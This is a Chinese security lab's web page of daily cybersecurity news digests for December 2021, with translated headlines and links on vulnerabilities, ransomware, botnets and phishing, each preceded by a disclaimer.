免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、WD 更新 SanDisk SecureAccess 以防止字典和暴力攻击 https://www.securityweek.com/wd-updates-sandisk-secureaccess-prevent-dictionary-brute-force-attacks 2、黑客窃取了瑞典沃尔沃汽车的研究数据 https://www.securityweek.com/hackers-steal-research-data-swedens-volvo-cars 3、研究人员发现一种新的基于 Rust 的勒索软件:BlackCat https://thehackernews.com/2021/12/blackcat-new-rust-based-ransomware.html 4、网络钓鱼活动针对使用二维码的德国银行客户 https://securityaffairs.co/wordpress/125540/cyber-crime/phishing-qr-codes.html 5、新的"Karakurt"网络犯罪团伙专注于数据盗窃和勒索 https://securityaffairs.co/wordpress/125518/cyber-crime/karakurt-cybercrime-gang.html 6、过去几天 160 万个 WordPress 网站遭大规模攻击 https://securityaffairs.co/wordpress/125469/hacking/wordpress-sites-under-attack.html 7、巴西卫生部遭受网络攻击,COVID-19疫苗接种数据被删除 https://www.zdnet.com/article/brazilian-ministry-of-health-suffers-cyberattack-and-covid-19-vaccination-data-vanishes/ 8、研究表明有一半的网站仍在使用旧版加密密钥 https://www.infosecurity-magazine.com/news/half-of-websites-still-using/ 9、富士通在日本政府数据泄露后停止使用ProjectWEB工具 https://www.zdnet.com/article/fujitsu-attributes-data-breaches-to-projectweb-vulnerabilities/ 10、俄罗斯封锁隐私服务Tor以加强互联网控制 https://thehackernews.com/2021/12/russia-blocks-tor-privacy-service-in.html
网络安全日报 2021年12月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、广泛应用的日志框架Log4j2 被发现严重远程代码执行漏洞 https://help.aliyun.com/noticelist/articleid/1060971232.html 2、Mozilla 修补 Firefox 和 Thunderbird 中的高危漏洞 https://www.securityweek.com/mozilla-patches-high-severity-vulnerabilities-firefox-thunderbird 3、"Moobot"僵尸网络通过最近的漏洞攻击海康威视设备 https://www.securityweek.com/moobot-botnet-targets-hikvision-devices-recent-vulnerability 4、Dark Mirai 僵尸网络利用 TP-Link 路由器的 RCE 漏洞进行传播 https://securityaffairs.co/wordpress/125450/malware/dark-mirai-botnet-tp-link.html 5、数十个恶意 NPM 包劫持 Discord 令牌 https://threatpost.com/malicious-npm-code-packages-discord/176886/ 6、微软温哥华服务器上的DS_STORE文件泄露网站凭据 https://securityaffairs.co/wordpress/125420/data-breach/microsoft-vancouver-data-leak.html 7、微软和 GitHub 的 OAuth 2.0 实现存在缺陷可被恶意利用 https://www.proofpoint.com/us/blog/cloud-security/microsoft-and-github-oauth-implementation-vulnerabilities-lead-redirection 8、Salt安全报告揭示了GraphQL API的漏洞 https://securityboulevard.com/2021/12/salt-security-report-surfaces-graphql-api-vulnerabilities/ 9、超过 300,000 台 MikroTik 设备易受到远程利用漏洞攻击 https://thehackernews.com/2021/12/over-300000-mikrotik-devices-found.html 10、 新型Cerber 勒索软件以 Confluence 和 GitLab 服务器为目标 https://www.bleepingcomputer.com/news/security/new-cerber-ransomware-targets-confluence-and-gitlab-servers/
网络安全日报 2021年12月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Android 安全更新修补了 46 个漏洞 https://www.securityweek.com/android-security-updates-patch-46-vulnerabilities 2、SonicWall 敦促客户为 SMA 100 设备安装安全补丁 https://securityaffairs.co/wordpress/125400/security/sonicwall-sma-100-devices-flaws.html 3、Grafana 发布紧急安全补丁修复高危漏洞 https://therecord.media/grafana-releases-security-patch-after-exploit-for-severe-bug-goes-public 4、苹果移动设备管理平台Jamf Pro存在SSRF漏洞 https://portswigger.net/daily-swig/ssrf-vulnerability-patched-in-jamf-pro-mobile-security-platform 5、谷歌发布Chrome安全更新修复了20个漏洞 https://www.securityweek.com/google-patches-serious-use-after-free-vulnerabilities-chrome 6、呼叫中心软件套件GOautodial被发现多个漏洞 https://www.infosecurity-magazine.com/news/vulnerabilities-found-in-goautodial/ 7、Gartner预测,到2025年30%的关基设施将遭遇安全漏洞 https://www.gartner.com/en/newsroom/press-releases/2021-12-2-gartner-predicts-30--of-critical-infrastructure-organi 8、恶意的Excel XLL插件推送RedLine密码窃取恶意软件 https://www.bleepingcomputer.com/news/security/malicious-excel-xll-add-ins-push-redline-password-stealing-malware/ 9、新的推特网络钓鱼活动针对已验证的帐户 https://www.bleepingcomputer.com/news/security/new-twitter-phishing-campaign-targets-verified-accounts/ 10、Emotet 改变策略,直接投放 Cobalt Strike Beacons https://cyware.com/news/emotet-needs-no-intermediate-trojan-drops-cobalt-strike-beacons-directly-7d55fb47
网络安全日报 2021年12月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Firefox 95 推出新的“RLBox”隔离功能 https://www.securityweek.com/firefox-95-rolls-out-new-isolation-feature-rlbox 2、谷歌修补了 Chrome 中严重的 Use-After-Free 漏洞 https://www.securityweek.com/google-patches-serious-use-after-free-vulnerabilities-chrome 3、谷歌宣布破坏了 Glupteba 僵尸网络 https://securityaffairs.co/wordpress/125377/malware/glupteba-botnet-take-down.html 4、Eltima SDK 漏洞影响多个云服务提供商 https://thehackernews.com/2021/12/eltima-sdk-contain-multiple.html 5、LINE Pay 在 GitHub 上泄露了日本、台湾和泰国用户的支付数据 https://www.theregister.com/2021/12/07/line_pay_leaks_around_133000/ 6、APT组织Nobelium使用Ceeloader恶意软件进行攻击 https://securityaffairs.co/wordpress/125352/apt/nobelium-custom-malware.html 7、古巴勒索软件团伙入侵了 49 个美国关键基础设施组织 https://securityaffairs.co/wordpress/125274/cyber-crime/cuba-ransomware-fbi-flash-alert.html 8、黑客利用虚假的Office 365垃圾邮件警报进行网络钓鱼 https://www.bleepingcomputer.com/news/security/convincing-microsoft-phishing-uses-fake-office-365-spam-alerts/ 9、网络钓鱼攻击者开始利用新冠病毒变种话题 https://www.bleepingcomputer.com/news/security/phishing-actors-start-exploiting-the-omicron-covid-19-variant/ 10、科罗拉多能源公司遭破环性网络攻击后丢失了25年的数据 https://www.zdnet.com/article/colorado-energy-company-loses-25-years-of-data-after-cyberattack-still-rebuilding-network/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页